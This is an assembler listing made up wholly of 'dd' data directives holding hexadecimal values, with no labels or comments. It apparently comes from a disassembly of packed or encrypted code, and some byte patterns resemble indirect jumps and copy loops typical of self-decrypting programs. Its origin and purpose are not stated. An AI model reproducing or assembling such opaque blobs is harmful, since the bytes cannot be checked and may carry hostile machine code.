		dd 6FC29B9Dh, 7E000000h, 6C267F95h, 3FC6EF93h, 0D330090Fh
		dd 0BDB8B8Dh, 68E96F57h, 213C440Ah, 7B9D9BC1h, 0BDB81E6h
		dd 0C52F1E28h, 72F1CF20h, 91D54311h, 1572EF69h,	58B2C94Fh
		dd 0C4DE6F54h, 0B48759F0h, 1C411502h, 4FD27242h, 4D92177h
		dd 63FE782Eh, 79D85E02h, 52CF491Fh, 50372177h, 234D727Ah
		dd 2D05D5DFh, 0E4C21F67h, 325B8BEh, 5F000000h, 4BA2FF79h
		dd 58BE1B1Dh, 0B99504F2h, 95EC6DEBh, 0EBC455C3h, 0FDDEBBBDh
		dd 0D330A197h, 2E0E8B8Dh, 163FE78h, 5732D95Fh, 0C7815F54h
		dd 4, 8704EF83h, 575C243Ch, 0C781E789h,	4, 4EF81h, 3C870000h
		dd 2C895C24h, 744C6824h, 3C890000h, 67B95124h, 51060E03h
		dd 0F0242C81h, 5D46970Dh, 0DF0C581h, 54594697h,	81243C8Bh
		dd 4C4h, 4815500h, 49650924h, 8478F4Fh,	6509B850h, 47294F49h
		dd 34FF5808h, 0C4835F24h, 2434FF04h, 4C4815Dh, 0E9000000h
		dd 0FFF9756Eh, 9804750Fh, 0D07FA7B3h, 0EBBDE01Bh, 792B86Ch
		dd 0C503060Eh, 0CC98E0FFh, 9F9E4BA1h, 0E5D6178h, 1424047Ch
		dd 0F2D74148h, 9BC56CDAh, 731B37F3h, 0ED475C09h, 943A5A9Bh
		dd 2E891882h, 0EDD92285h, 496D34A4h, 0CBAB2B16h, 0D576B4Bh
		dd 0DA0407A0h, 0B7721F3Fh, 0DD922D36h, 5BF47C39h, 17821CCFh
		dd 0E39C64EDh, 4EB7565h, 1E66B37Eh, 559E9h, 91F7DE00h
		dd 0EABC9449h, 27714F82h, 7F2502DFh, 0CB99FA17h, 0CBD892A3h
		dd 0BF52BAEEh, 71ECF4A4h, 2A274F15h, 0A17E86CCh, 0C3823407h
		dd 52C20303h, 1E44A2D8h, 85CB918h, 4F156DE0h, 246A48C9h
		dd 1B4DA732h, 0BE36901Dh, 7880D62Ch, 0B3DB89E5h, 7C167C5Eh
		dd 2B05849Dh, 83C3357Dh, 9DF465C3h, 0F6CC4DCBh,	0CB2BB6A0h
		dd 0EDF59385h, 445CA207h, 0CB53D970h, 8FC45EC6h, 7052AF7Fh
		dd 65D66822h, 50DBCD1h,	0E9E1A191h, 819D1E74h, 783E39D3h
		dd 38050DBCh, 700AC008h, 60D6BA99h, 0BC8F3724h,	0E7CF050Dh
		dd 0ED4EC127h, 1A050DBCh, 266DF4F8h, 0A8AFDAE2h, 36207451h
		dd 6751AE7Eh, 97000000h, 181E44A2h, 0DCB1DA7h, 2094EE05h
		dd 32847709h, 72050DCBh, 0A7F1CF42h, 0BF55F5B1h, 0AFDA6AD8h
		dd 792F071Ah, 856A9h, 5FB20000h, 60241246h, 46A23AA0h
		dd 59BB2610h, 0B39001F7h, 3979602Bh, 0A6BF1BE9h, 2710CAF2h
		dd 50D519Fh, 0A9AFD7DFh, 0C1DD3C04h, 1D97F393h,	0D921774Dh
		dd 10782E04h, 1F49A7BAh, 17E5954Fh, 7E4B42C6h, 1878D5EBh
		dd 0C484C036h, 879D1C79h, 752F67D1h, 0DDB348Ah,	44C7405h
		dd 0FBAD8712h, 0F4F89A7Dh, 0B16B391Ah, 12F1784Bh, 0BEF66036h
		dd 4A99F9B0h, 879F729Ah, 9AFA67D1h, 0A2A64ACCh,	0A790C74Ah
		dd 7637AFDAh, 3D000000h, 4EF043E5h, 0E050DCBh, 0BE9B6626h
		dd 93ED6CEAh, 0E8EA53C5h, 5B096A04h, 97FDDE33h,	8DD330A1h
		dd 7CC23DD7h, 4E050DCBh, 0CB87D3FEh, 0BC8478C7h, 0C62D43B2h
		dd 5808F85Bh, 0BE362ADEh, 0DB400C5Bh, 5AB3AFh, 0B8910000h
		dd 0A258085Eh, 251341A2h, 58DE59F3h, 18050DCBh,	3D817228h
		dd 7D050DCBh, 0AE889535h, 0F1CF22F8h, 55F5B1A7h, 4EA6BCD3h
		dd 0EDF5A3BCh, 1046A217h, 71DFC26h, 0FFAFE751h,	0DCBBF7Ch
		dd 0C22A4805h, 0DA6AF85Fh, 0D720FAAFh, 0FAF23F6Fh, 48246A4Eh
		dd 157A878h, 9D000000h,	4FD43E5h, 3658F998h, 0D7A6181Bh
		dd 0DEE6050Dh, 83D5330Eh, 782E0495h, 248890FEh,	0D43C6A4Ah
		dd 0A203F07Eh, 0A193AE9Ah, 0BE3D2BE1h, 711B4762h, 0ECA6EED4h
		dd 0CD9BF74Ah, 818D1E1Dh, 360B0F34h, 0B68D80D6h, 903074E2h
		dd 0C752C4ECh, 44126CEFh, 7EA6EAC9h, 276D45A4h,	94F26F67h
		dd 226A3E1Bh, 0A201BB34h, 0CE24030Ah, 22039E98h, 0B561BCB8h
		dd 149DAF6h, 921A7017h,	0F34ECA2Dh, 0FA1ECE92h,	543A18F2h
		dd 1246A3BEh, 0A8A06024h, 55031FF2h, 1EE3A3E3h,	75E45238h
		dd 0DF85E21Dh, 9316742h, 9970940Fh, 40F641B9h, 30A54h
		dd 38150830h, 0EABAEA6Ch, 1E7406EEh, 0FD5A2048h, 84B5E209h
		dd 183h, 0F9D09A60h, 32FD1145h,	7F95E892h, 0B08D6C26h
		dd 9D9E24E4h, 0F34F4E8h, 8F623808h, 3571E7B1h, 20069395h
		dd 0E7FF127Ah, 87B00277h, 7CA4AE8Fh, 51071FFAh,	41D87CE7h
		dd 5DCF3167h, 0C5322463h, 9F157111h, 1A74F7CFh,	529ACA4Ch
		dd 34E3A00Ah, 55EFB5E2h, 0A7554EAh, 7DC13203h, 3D030A75h
		dd 994979F5h, 6D86h, 4E54200h, 0B7FF792Fh, 5AD43D17h, 34EE167Ch
		dd 0DCB83CBh, 50A34505h, 50DCBEEh, 0BAE2C3DCh, 0EF8346D0h
		dd 6B5B07C7h, 48CC72EDh, 0E0BA050Dh, 0FE782C09h, 4863DB24h
		dd 1323050Dh, 0D5DF3BEBh, 0F74FA842h, 0B7050D48h, 1C75DF8Fh
		dd 2EE4B292h, 0D4869CDh, 0D1192905h, 4876383Bh,	0AE96050Dh
		dd 6D3B15F4h, 0E3EBBBEBh, 0AE92h, 7F952E00h, 3E936C26h
		dd 0B80F3496h, 993118E6h, 0A13CC2E4h, 0A130CB2h, 83D12D03h
		dd 0C01DD195h, 0D575BDE3h, 0A4F2CC29h, 6D4BA67Ch, 0C8D6B3Bh
		dd 0C5186036h, 3EB1A7EDh, 30A107Fh, 0D76A4258h,	414FAC69h
		dd 93330910h, 9AE2A88Eh, 298D6E00h, 69030A8Ch, 45838959h
		dd 94F47A10h, 8F521D5Bh, 0B4875D0Dh, 9389591h, 0BD570D35h
		dd 495FC42h, 0E5B2BC05h, 5ED4BC23h, 0A583438Bh,	8E88DE34h
		dd 0E8CB26E0h, 56F6BEB8h, 0F117BA32h, 0B254EEA4h, 490FD41h
		dd 9875BD05h, 2460D6B8h, 98AC8764h, 38080F36h, 41F47AD0h
		dd 0FC8BC4CAh, 957EE4A4h, 0EABBE07Fh, 5C11E762h, 5BA47E14h
		dd 50D7DE3h, 29F393A3h,	3F75FBCEh, 0E1575F0Fh, 244C1270h
		dd 0EDB3936Eh, 49C2203Dh, 5AF0386Ch, 557F9CD4h,	0CB9BF9C8h
		dd 7498F26Dh, 11751B9Bh, 0BDE3C39Bh, 0F45AB855h, 286AD002h
		dd 0B9DB8D2Fh, 7859A464h, 0C2442214h, 0D147116Fh, 0BA7CFF95h
		dd 0FA1B6B52h, 0F6FE1ACAh, 30580E64h, 0C59FC5DDh, 0DA5C0A64h
		dd 617CFAAAh, 3, 0A2FF799Bh, 0BE1B1D4Bh, 9504F258h, 0EC6DEBB9h
		dd 0C455C395h, 0DEBBBDEBh, 30A197FDh, 0E8B8DD3h, 63FE782Eh
		dd 32D95F01h, 81E78957h, 4C7h, 4EF8300h, 5C243C87h, 68243C89h
		dd 5EEFh, 68240489h, 45A5h, 68242C89h, 3E80h, 0B9240C89h
		dd 60E087Ch, 5459C889h,	83242C8Bh, 895704C4h, 87D89C7h
		dd 83243C8Bh, 34FF04C4h, 0C4815D24h, 4,	582434FFh, 0E904C483h
		dd 0FFF96FA6h, 77B88163h, 3060E0Dh, 89E0FFC5h, 60780A5Bh
		dd 4828DB54h, 0DE42C711h, 241FEFCFh, 5E0EC737h,	1A33AF7Bh
		dd 663D2789h, 85562C21h, 1B00222Eh, 73742B3h, 0D5133FADh
		dd 0A172C23Bh, 0FB6B1639h, 0A22AD87h, 172FAC40h, 257CDC00h
		dd 0DD39E53Bh, 0A5F4955h, 393773BAh, 2A222C2Eh,	0E166416Eh
		dd 2B595A96h, 0E57B0717h, 63130F3Fh, 23147BABh,	0E84B9DA1h
		dd 8649202Ah, 0E92BF377h, 0EDh,	0D88C6660h, 840F04A8h
		dd 0DFh, 211DB58Bh, 0FE830607h,	22850F00h, 0C6000000h
		dd 71C4D85h, 69684506h,	0FF8E7269h, 701A9B5h, 0FE858D06h
		dd 0FF060A7Ch, 398589D0h, 8B06071Fh, 0E93E80F0h, 31850Fh
		dd 858D0000h, 60C7866h,	0BD8BD0FFh, 60729C9h, 1184C781h
		dd 0B58B0000h, 607211Dh, 8B9F787h, 0F3000000h
		dd 1DB58BA4h, 8D060721h, 0AB2EC85h, 8BD0FF06h, 71985B5h
		dd 0FE8306h, 22850Fh, 85C60000h, 6071C4Dh, 0BEF46854h
		dd 0B5FFFF4Eh, 60701A9h, 7CFE858Dh, 0D0FF060Ah,	19858589h
		dd 0F08B0607h, 0FE93E80h, 3A85h, 85B58B00h, 8D060719h
		dd 0C786685h, 8BD0FF06h, 729C9BDh, 84C78106h, 83000011h
		dd 0B58B08C7h, 6071985h, 8B9F787h, 0F3000000h, 85B58BA4h
		dd 8D060719h, 0AB2EC85h, 61D0FF06h, 53858DC3h, 89060E0Eh
		dd 7071185h, 0CE04EB06h, 0E9426A90h, 59Bh, 0AEB692F5h
		dd 0E70F51B3h, 345C0A6Ah, 4C94F8D9h, 98E0B491h,	85E6FD79h
		dd 7F5AB7DFh, 320CC129h, 0E1C11C64h, 58FC53BBh,	3C467DFh
		dd 0C5BF2703h, 181E44A2h, 999A5CB9h, 50DCB25h, 0CD155D65h
		dd 0EA6C3210h, 0D741176Fh, 0F3563F0Dh, 0A1065CBh, 0BBEDC75Ah
		dd 1E96F0BDh, 0D820764Ch, 137B2905h, 40B69CFEh,	0A8AEF2D1h
		dd 1CEEC6DAh, 0D10C5402h, 1BF46DF1h, 0B9399689h, 6546DB71h
		dd 0DD8D393Fh, 0BC5BE05Bh, 0E8AC050Dh, 5CB83311h, 1054C20Ah
		dd 0B9A01470h, 0AFDAE1DAh, 5EA1h, 44A2A700h, 1DA7181Eh
		dd 0EE050DCBh, 5A392094h, 21AFDA6Bh, 1,	1046A227h, 3159BB26h
		dd 58B53DDFh, 15B7020Ch, 20F264ACh, 0B2A4E8C9h,	0F6CF52F2h
		dd 8D09B4A2h, 2B7D5727h, 0DA5CDF71h, 0FB050DD2h, 0C836CA9Eh
		dd 0C310247Dh, 0B4549CC5h, 0FBA1815Ch, 62333993h, 0A6482735h
		dd 0A2BD27E7h, 0B4251341h, 8B0C0A5Ch, 0E8BE9871h, 41D8DC38h
		dd 0EF488CE8h, 50DCB57h, 6AE72F17h, 97DF590Fh, 5B096AF7h
		dd 0FC939933h, 0DAE68559h, 5EB48959h, 0E1FF5208h, 0F6D041B7h
		dd 0B6FEB6A0h, 2CC61016h, 0DEB6BD3h, 4B1B2B05h,	980696F6h
		dd 59727DFAh, 26B3A5EDh, 3E9B9DC3h, 478177DDh, 8832B933h
		dd 4D691D0Eh, 0C2C6A2EAh, 1B3067EAh, 0CA97AFDBh, 7D000000h
		dd 64D2849Ch, 63FD41B2h, 75BD050Dh, 0A2E79D4Dh,	0A7791341h
		dd 0DCBE254h, 0F292A205h, 445CA274h, 3DCF3D4Dh,	637DC080h
		dd 2C0982E0h, 8EC63078h, 47C3E280h, 2E564DF9h, 0B1BF8528h
		dd 87E0F32Ah, 6876FD1h,	0E4C80CDCh, 0C64FF4Dh, 0F5BB4A1Dh
		dd 0B9EFC855h, 0F5A3BC51h, 26E2C25Fh, 0DAB61D5h, 0E9112105h
		dd 0F44AB56Fh, 0B4050DABh, 0CDDA448Ch, 0EAD54452h, 0C948AE7Eh
		dd 27B2A4E8h, 3C9D9BCDh, 0EE857325h, 6E4E2094h,	4E763E38h
		dd 0FB4EA6BAh, 0C75A0066h, 65EFBFE9h, 0AFDAD32Eh, 6395h
		dd 41A25300h, 0CB00B681h, 0C321050Dh, 0A9D1E19Dh, 44D032AFh
		dd 0FC2FEE7Ah, 411B4375h, 5C58BE8h, 7E764C23h, 0BDC593ECh
		dd 2804E5C7h, 1CCCF87Eh, 0FB7D2301h, 0DCBBB00h,	0A2884C05h
		dd 0B8BB9836h, 50D5F06h, 98F07E46h, 93F797FAh, 0C1513619h
		dd 0DD8AFDAh, 3C000000h, 0F62A23CEh, 312C9427h,	24DE8ED2h
		dd 0E2C142A2h, 118076BEh, 4BB16B31h, 62FE461Bh,	2B0DDDCDh
		dd 9F6F455Dh, 158FD781h, 8AC12727h, 1FCFD874h, 0CC86DF35h
		dd 34E4DE73h, 9C367E0Fh, 3F5A3BDh, 0C7D066D1h, 0A090030Ah
		dd 0D34EA878h, 8845ADF3h, 0F972E4AAh, 30AC747h,	502A8298h
		dd 4EC42C72h, 0EBEB36E0h, 5B78AAA1h, 646AD465h,	0D22FFF47h
		dd 29A8AEF4h, 37C983C9h, 0AEF72C4h, 85BF4003h, 649FCF66h
		dd 45136D88h, 0BB6B93D3h, 96C0DCBDh, 0C40E22A0h, 0F0A173F7h
		dd 0E650041Dh, 34797357h, 5931BBDFh, 51CB1379h,	61D9EF8h
		dd 78A0E452h, 7C16B6FEh, 0B5E24817h, 14E9Eh, 7F955A00h
		dd 0DA936C26h, 3A0F34F4h, 0B58D0C0Ah, 6C4A87EFh, 41A13026h
		dd 0DE08AE89h, 7848030Ah, 55DC630h, 91C7DFAFh, 80A4E349h
		dd 8E6BB5E1h, 0E9000000h, 6D277C95h, 93F5199Fh,	3561EFB1h
		dd 0A47E2E7Ah, 0DDD135Bh, 0C033D505h, 50DDD7Eh,	0CA98303Eh
		dd 0EF43551h, 6A5A06C6h, 991D1EB0h, 0D9050D9Bh,	8771273Ch
		dd 61C787CFh, 297F5AB7h, 9B44FA79h, 0F65050Dh, 3A05DF59h
		dd 50D9B84h, 161FCC4h, 0AC86DD5Bh, 59B96348h, 0D95AFC53h
		dd 50D9B65h, 463A6C44h,	6908F07Eh, 0DDCE6281h, 95C2070Dh
		dd 0EBC425FFh, 580EEDBDh, 0B8050D81h, 98116088h, 8B000000h
		dd 90F8FDA5h, 0DF8F72C0h, 267F9525h, 9B5B9E6Ch,	7D9EC2DEh
		dd 872417ADh, 270F344Bh, 72BAE8CAh, 573D1584h, 0AEF4D20Fh
		dd 0B6936EA8h, 903074E2h, 0A272C93h, 0BD370B03h, 0D58FD52Dh
		dd 247EC033h, 415F030Ah, 0BB6B5B17h, 0CF5B8953h, 0A379A1F7h
		dd 3523694Eh, 280BD171h, 9381560h, 1B4DA7BAh, 0DE50AF1Dh
		dd 0B2EAA129h, 1E26DA8Ah, 363FE18h, 0BCE2C05Dh,	0C75A0ABAh
		dd 22BFB9EFh, 35A492C0h, 98A8CD8h, 305E6349h, 0F71DC428h
		dd 450BF4AEh, 0B90F368Ah, 0E58B6189h, 0FD7B2D04h, 0D53319C9h
		dd 2369CA80h, 0DF0F3FFAh, 92F061D7h, 6D3CC80Ah,	50985AB7h
		dd 9AFAB4BAh, 7190E28Fh, 4EA4B9D1h, 989D1E18h, 95C7E792h
		dd 0C323BB31h, 0BA98759Dh, 9EF762D4h, 0DA3E4CCAh, 74DA38D2h
		dd 0CB91F16Ch, 3304Dh, 79480000h, 1D4BA2FFh, 0F258BE1Bh
		dd 0EBB99504h, 0C395EC6Dh, 0BDEBC455h, 97FDDEBBh, 8DD330A1h
		dd 782E0E8Bh, 5F0163FEh, 895332D9h, 4C381E3h, 83000000h
		dd 1C8704EBh, 14895C24h, 0E3895324h, 4C381h, 0EB810000h
		dd 4, 5C241C87h, 57241C89h, 0C781E789h,	4, 8704EF83h, 895C243Ch
		dd 0BE562414h, 3C990093h, 92F68146h, 513A4D6Fh,	61784AB9h
		dd 59CE217Eh, 19C7CE81h, 0CE810901h, 7F8E3F5Dh,	7088EE81h
		dd 0F38979C1h, 4EC835Eh, 81242489h, 42404h, 505A0000h
		dd 8B8h, 89D00100h, 24048B18h, 0FF04C483h, 835A2434h, 1C8B04C4h
		dd 0E0895024h, 405h, 40500h, 4870000h, 93E95C24h, 0F8FFF968h
		dd 3EB89D22h, 6F128CDAh, 0B80545CBh, 60E1441h, 0E0FFC503h
		dd 63B301D5h, 1886CB53h, 63461B49h, 63E2FB8Fh, 29070A8Ch
		dd 3737ECB1h, 66A4A60Ah, 51FF7265h, 29C2337Bh, 5DEB9258h
		dd 20C098D9h, 29E36A4Eh, 3AA1073h, 27B99624h, 2C5C381Dh
		dd 430B9C9h, 31E946B2h,	406CC3CCh, 4980100Dh, 28785B1Bh
		dd 10E8h, 0FE1B1600h, 0CB8E0801h, 4BB99AAAh, 1DA68D4Eh
		dd 31CE81C3h, 5F68F23Ch, 1DC0E681h, 0C7815226h,	64F4h
		dd 1907BBh, 0DE800h, 0D1470000h, 3FF4D540h, 767C9CAEh
		dd 0E93A1259h, 0Dh, 42B8D16Fh, 0A48E8B51h, 0A045BC39h
		dd 37FF5E1Fh, 0DE859h, 4B410000h, 6DDD4636h, 4C6C6167h
		dd 6694C375h, 37B8C881h, 95E98158h, 66022A83h, 812C05B8h
		dd 0C678A0F1h, 81D48A64h, 41968FF1h, 563DB85Dh,	0F5148E3h
		dd 38Fh, 0F1B70F00h, 0B866078Fh, 0EF81FE6Fh, 280E180Fh
		dd 0F2D08166h, 0BC78158h, 0E9280E18h, 11h, 833D92C5h, 5DE0FB87h
		dd 85689186h, 0DA7E90EDh, 1EB834Ch, 0FF88850Fh,	0FE8FFFFh
		dd 0EF000000h, 5961AA80h, 0ACC1C05Bh, 0C18F3497h, 0C78A4661h
		dd 0E28D8D58h, 29060E16h, 72B2D85h, 418D8906h, 6A06071Bh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1C042444h
		dd 41000000h, 8B8EC351h, 0D12A894Dh, 8A0D736Dh,	585C7DAh
		dd 0B0060706h, 6A00005Dh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 17042444h, 47000000h, 758C357h, 2BA9788h
		dd 0C74CF8D0h, 7006985h, 6, 0B5FFF500h,	6072B21h, 95FF6BB7h
		dd 60701E1h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 15h, 7FC35545h, 0EE9ACh, 35000000h, 0B748CFB6h
		dd 184A0A94h, 97BC2317h, 95FF006Ah, 6073201h, 7DEBC08Bh
		dd 0D2F13D88h, 1E8B4198h, 0D34CA258h, 1394AE27h, 794B2E1h
		dd 0A4F5DC84h, 8C159A5Eh, 13866F57h, 0D0EC93DBh, 0B6C6106Eh
		dd 0F5AF94DAh, 0EC68F275h, 4D63CF57h, 0DC9C0ED1h, 3A17E9ADh
		dd 0B2741379h, 827CE849h, 72E90ED4h, 0AF9CAF85h, 3844C0Dh
		dd 71EF014Fh, 74942902h, 8AB4330Dh, 0FDE05BB9h,	14A69284h
		dd 73A2A999h, 8EC9E158h, 0FBA440FAh, 71E3C52Fh,	88687EAEh
		dd 0BB9BA3CEh, 0A04EB0Fh, 0E977F513h, 0C63h, 0E18F468h
		dd 6600E906h, 0DD68FFF9h, 0E9060E19h, 0FFF965F6h, 0E1BE168h
		dd 65ECE906h, 568FFF9h,	0E9060E1Dh, 0FFF965E2h,	0E202C68h
		dd 65D8E906h, 7A68FFF9h, 0E9060E21h, 0FFF965CEh, 0E224B68h
		dd 65C4E906h, 3017FFF9h, 0F7CD0068h, 0A88459A1h, 1A7B96FEh
		dd 0D6332E36h, 9FDB7A82h, 157D2B04h, 0AFB799F8h, 0FA0250B2h
		dd 31590F67h, 0C579FA9Eh, 850303DCh, 44A2A71Dh,	59B9181Eh
		dd 0BA9405F3h, 91EF6AECh, 0E2C051C7h, 0CD25BABCh, 0A4BCC2E7h
		dd 0F258BE50h, 4E1A77EAh, 0D958B594h, 0E5A197FDh, 68E5EDBDh
		dd 47D2440Ah, 0BD1396Fh, 28C298DDh, 0E1A1F7D1h,	3498B902h
		dd 4FC9F90Fh, 0AFA6ECCh, 26724F03h, 1B41A130h, 258FEB1Dh
		dd 0CE0E480h, 0E1983E05h, 37C5B5h, 95030000h, 5290F37Fh
		dd 0DCB5DE1h, 0ED151D05h, 0C78DEE6Bh, 0A5ED1551h, 0C15B0CEFh
		dd 8BBB0F34h, 361878D1h, 0A31F9096h, 0EB030AC1h, 3D1AFDF7h
		dd 0C4B5E175h, 0B6h, 0F043E500h, 50DCB4Eh, 9B66260Eh, 0A52600BBh
		dd 681C1A4Eh, 367E3620h, 207451C0h, 54BAB36h, 0C391F24Fh
		dd 5EB42503h, 4FDDB6CEh, 1C4456FFh, 5FD807F4h, 6D45050Dh
		dd 2402DF27h, 382EF87Eh, 0B956A17Bh, 2F0F3400h,	0E2A2F0D2h
		dd 42E367Eh, 7CFF95CEh,	935A3A8h, 936E240Ch, 3B6BEDB3h
		dd 1F78D16Bh, 0D32C2149h, 0C6998C85h, 81870912h, 0A42ECh
		dd 297F5600h, 62340CC1h, 0BFE9C71Ah, 0F75DBA57h, 431172EFh
		dd 43601A3Bh, 372A3266h, 0E9648CDCh, 0A2BFC78Dh, 59F61E44h
		dd 0D3FABCBFh, 2ABA0303h, 1341A250h, 0BF3016CBh, 4202F4A4h
		dd 7EA6F2CFh, 7F959C16h, 30CA6C26h, 0DCB7FC7h, 57F73F05h
		dd 34C193D4h, 0D543730Fh, 83C92E03h, 3231D195h,	30AC188h
		dd 61E8CCC0h, 0B5E17522h, 0C6E9h, 44A26F00h, 5CB9181Eh
		dd 4E8D0E08h, 94050DC4h, 0B0D5BB5h, 50B68B5Bh, 0D128E20Ah
		dd 0FAAAACF0h, 8D5D0B67h, 0A0C52B0h, 5309AAB8h,	0F5A4B3B9h
		dd 0F292417Dh, 8634D152h, 0BC840F34h, 1B588E54h, 2A25F641h
		dd 0DDE50935h, 5DC92A07h, 0A4E0243Dh, 882E09A1h, 0C805036Ch
		dd 6088B0F8h, 2A7E57AAh, 0B509EA2Ch, 0F505036Ch, 78C585CDh
		dd 57D0491Fh, 0DD091226h, 9590667h, 687F0000h, 0DF352830h
		dd 90EC6189h, 42A3BEC6h, 3E1BF61Eh, 77F3026Ah, 3D45136Ch
		dd 779FC120h, 82EAB89Ah, 0D921774Fh, 0ED51A246h, 0AD0303D2h
		dd 4E54F25h, 74DAE2Dh, 7D2D5511h, 89D187E0h, 72287E54h
		dd 0CBE75FD8h, 9FA7050Dh, 0A22D87CFh, 0B9181E44h, 20966159h
		dd 60050DCBh, 13C02850h, 50DCBAFh, 28E2A88Eh, 0ABADF3D1h
		dd 5E86CC2Eh, 0AB8B468Eh, 898FD130h, 36A395DDh,	0B8C8AD0h
		dd 7FD2654Fh, 85C13761h, 73E5AB88h, 0A88E9333h,	53309AE2h
		dd 0DAAFDA6Bh, 0B6h, 9EC2233Eh,	7F9514CEh, 8A936C26h, 0CA0F3498h
		dd 3F837CFAh, 77030AFAh, 96280BADh, 0D6030AFAh,	411773EEh
		dd 0D86F4581h, 53899A52h, 4AA7B2EDh, 246C181Eh,	0A9EE64h
		dd 0D435B5E2h, 54B6ABFDh, 6FC15E0Eh, 7000000h, 0DCBFFBCh
		dd 0BAFBE905h, 49ED4EE0h, 7B050DCBh, 2E6E22ABh,	0B3BD31D8h
		dd 0E8C3DD3Eh, 4F1F47E6h, 33814AB5h, 84610F34h,	497DFBADh
		dd 0B64F901h, 8CB9875Dh, 4D301B6h, 0EB137959h, 7D6B3D3Bh
		dd 71C86238h, 9BCB4D13h, 0B78768CBh, 1F270933h,	6A381AF7h
		dd 570C5AECh, 25061BBDh, 1DCDF97Fh, 34DC891Eh, 0F119290Fh
		dd 530E0h, 7F951800h, 64CA6C26h, 467D5094h, 0DA590952h
		dd 0F347DF5h, 70EB6D55h, 30A43CAh, 0BF1F8FEBh, 35F16299h
		dd 0B120165Eh, 1EA09357h, 5E030AF7h, 0A9282E56h, 0E2F6184Ch
		dd 0CDC1A50Ah, 99F950E7h, 410145B3h, 0E1A3CC8Bh, 837C16B5h
		dd 30AFF3Bh, 849B4B7Bh,	4D9h, 99A26940h, 260B6393h, 61404BBAh
		dd 0FD57F73Fh, 6A3E1B97h, 0DA70B8ECh, 34BE1C59h, 0B1C4EC0Fh
		dd 71D563BAh, 0DA9BC9ADh, 98F43A00h, 433DF0A9h,	0A17EF983h
		dd 11A0F6CBh, 779D3721h, 358B742Eh, 0AFA6F663h,	61217752h
		dd 21FB5FDh, 0FB167E24h, 0DD5CB59Bh, 9B59517Ah,	755C8A5h
		dd 6C430000h, 0DB39D43Ch, 94F06D75h, 4EA7BAC2h,	21FF21Ah
		dd 73EF0E56h, 39411770h, 739BCD24h, 8ED6BC9Eh, 0C52D7353h
		dd 0E94DAE4Ah, 0A90303D0h, 44A24339h, 51A2441Eh, 50DCBEDh
		dd 869B85ADh, 0B4C40B14h, 0AB7DFBABh, 8FD52DBDh, 9B051B89h
		dd 0C7C3788Ch, 0F4A2829Fh, 9D7C16CCh, 0B264D286h, 0DACFD41h
		dd 4D75BD05h, 0AE1D9E9Dh, 555D0F34h, 1240A2BFh,	6D3B17CAh
		dd 0AECE70EBh, 16A8030Ah, 0AAE9125h, 21E1D103h,	0A9E78C2h
		dd 0CB101E03h, 0DFD65281h, 7593B969h, 4DFD41B2h, 989B030Ah
		dd 30A4D26h, 92A25E66h,	3F5A3BFh, 0F6411B43h, 933100Dh
		dd 0F68C19Bh, 7F64DA59h, 1C24050Dh, 0B6A0904Ch,	0E3B18D6Ch
		dd 92913175h, 50D7F28h,	81886C60h, 0AFDB1FC2h, 2049h, 7F958F00h
		dd 9AC296F3h, 0EC9277C0h, 12220F34h, 0E155A678h, 0A1030AD7h
		dd 1677F191h, 1Bh, 0B47F95A2h, 0DCBF34Bh, 5B83B305h, 3012EF81h
		dd 8441A262h, 740F34FBh, 0A228CA4Ch, 40071E44h,	0FC0920CEh
		dd 6316706h, 40A70000h,	71DF018h, 0F8D40951h, 0AA8B46AEh
		dd 66439EE6h, 4F0B2A32h, 0C52D7B54h, 1F672908h,	0AAB2E0C2h
		dd 0E1095FB7h, 15A98A2Eh, 550303D6h, 7F9577CDh,	1E936C26h
		dd 580F34C9h, 0C901B586h, 0A441030Ah, 33D31B4Dh, 60F1674Fh
		dd 9E345C02h, 6123AB90h, 0ABDB5D03h, 0BF3394A5h, 892F0CEFh
		dd 283928F7h, 8BD9638Bh, 9D9E30EAh, 2441E919h, 0E3B96959h
		dd 5094F049h, 41E95FE7h, 0EF171F24h, 8E6D3D69h,	2E78D951h
		dd 3AA791A1h, 1F455DDEh, 6F658FD7h, 56A39C36h, 0E6287FBBh
		dd 5BE758DEh, 132441D4h, 0F552B53Fh, 0BCD12685h, 15Ah
		dd 6FA38198h, 41DC2A8Ch, 125A6A24h, 3AA06024h, 6C267F95h
		dd 34C91E93h, 83E37E0Fh, 0EE642B1Bh, 5D8529BAh,	47B1E7C0h
		dd 0C051C70Fh, 0B954BCE2h, 0D359F359h, 0C5248CFh, 0A1874779h
		dd 0F78E0D2Eh, 2E860028h, 0EFC5465Ch, 0CFF7BFB9h, 0D34CAAA7h
		dd 0A278A0F0h, 0EE972F08h, 0EFD72441h, 7546393Fh, 540FBCB4h
		dd 0AD2C2A7Ch, 7C130553h, 0C7298E66h, 161F9F3h,	8099335Bh
		dd 0DD07F1A7h, 0AD4DC62h, 6C949C03h, 0EE1F3BE2h, 8343BC00h
		dd 58F258BEh, 5DB0E4C1h, 0F6701044h, 0B66C375Ch, 0AF2D145h
		dd 59A19103h, 4A0055B3h, 51F9EF7h, 792D2B53h, 5ADC8AE4h
		dd 0EA07A2Ah, 441BE120h, 50DE9775h, 121CA589h, 0A28141A5h
		dd 933C915h, 3E9B9DA5h,	0F76A72D8h, 52041C9Fh, 4D1B75E4h
		dd 2B539BCBh, 0E9BF9871h, 0D2BC3F39h, 30050DC6h, 0CC2AC428h
		dd 67FD7E86h, 8DF1F99Dh, 5A0FD944h, 0A98CC686h,	0EEC41961h
		dd 293DBEB8h
		dd 0C4FBA073h, 3210EAC2h, 0EB48B66Ch, 0BAC18297h, 3C96FEAEh
		dd 0A690C4DDh, 0C3233EEEh, 0E0799B9Dh, 40EDE80h, 62FF95CEh
		dd 0E8B25200h, 27BAA60Fh, 0D63E06FDh, 4DC7h, 0CBEF5D00h
		dd 85393A81h, 0C5F1196Ch, 0B86F73FDh, 6BA40AF4h, 63F4F079h
		dd 7F9539A3h, 0CBF34BB4h, 83B3050Dh, 5DB6815Bh,	0ED0F34ECh
		dd 0EF873A03h, 0F9211312h, 586E27Fh, 0B7FF792Fh, 82F9678Fh
		dd 7B382F14h, 33D856A1h, 98A8030Ah, 44A279F3h, 7DA5EBCBh
		dd 4E99CF15h, 0DCB49EDh, 0F1390905h, 9E27D85Bh,	0DFE70F34h
		dd 9CCA2405h, 819578C6h, 0F75F4818h, 0C0223F57h, 461F892h
		dd 7EF8AC85h, 30130E36h, 0EC46A060h, 0AE7BDE6h,	0B6FE782Eh
		dd 4EF34C16h, 0E09330Dh, 0DF34BB4h, 83B3050Dh, 0DC86EC9h
